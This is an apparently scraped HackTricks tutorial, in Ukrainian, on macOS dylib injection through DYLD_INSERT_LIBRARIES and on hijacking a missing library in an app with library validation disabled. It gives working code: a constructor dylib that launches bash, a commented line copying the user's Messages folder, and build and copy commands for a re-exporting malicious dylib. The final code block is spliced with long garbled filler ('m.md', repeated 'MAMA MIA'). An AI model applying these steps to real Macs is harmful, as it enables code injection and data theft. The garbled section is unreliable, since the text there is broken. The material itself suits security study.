macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Базовий приклад DYLD_INSERT_LIBRARIES

Бібліотека для впровадження для виконання оболонки:

// gcc -dynamiclib -o inject.dylib inject.c

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))

void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}

Бінарний файл для атаки:

// gcc hello.c -o hello
#include <stdio.h>

int main()
{
printf("Hello, World!\n");
return 0;
}

Впровадження:

DYLD_INSERT_LIBRARIES=inject.dylib ./hello

Приклад Викрадення Dyld

Цільовий вразливий бінарний файл - /Applications/VulnDyld.app/Contents/Resources/lib/binary.

codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
[...]com.apple.security.cs.disable-library-validation[...]

З попередньою інформацією ми знаємо, що він не перевіряє підпис завантажених бібліотек і намагається завантажити бібліотеку з:

  • /Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib

  • /Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib

Однак перша не існує:

pwd
/Applications/VulnDyld.app

find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib

Отже, це можливо взламати! Створіть бібліотеку, яка виконує деякий довільний код та експортує ті ж функціональні можливості, що й легітимна бібліотека, експортуючи її знову. І не забудьте скомпілювати її з очікуваними версіями:

lib.m
#import <Foundation/Foundation.h>

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}

Скомпілюйте це:

gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport

Наостанок, просто скопіюйте його до захопленого місця:

```bash cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib" ``` and M_m m.md m.md m.md M of markdown e in m.md m.md m.md m.md m.md m.md m M on m markdown e in M; M and m markdown

m ceiling. M.m and on.meM markdown.m m markdown m markdown

m ceiling. M.m and on.meM markdown.meM markdown.m m markdown m ceiling. M.m and on.meM markdown.m m markdown.m m markdown

markdown, directory.md m m

MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA MAMA MIA m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m

sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated